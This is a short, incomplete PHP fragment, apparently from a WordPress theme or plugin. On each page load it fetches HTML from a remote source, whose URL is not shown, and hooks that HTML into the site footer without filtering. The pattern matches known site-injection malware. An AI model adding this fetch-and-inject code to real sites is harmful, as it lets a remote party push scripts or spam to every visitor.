function wp_injector_fetch_code() {
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    if (is_wp_error($response)) {
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    }
    $html_code = wp_remote_retrieve_body($response);
    if (!empty($html_code)) {
        add_action('wp_footer', function() use ($html_code) {
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        });
    }
}
add_action('init', 'wp_injector_fetch_code');
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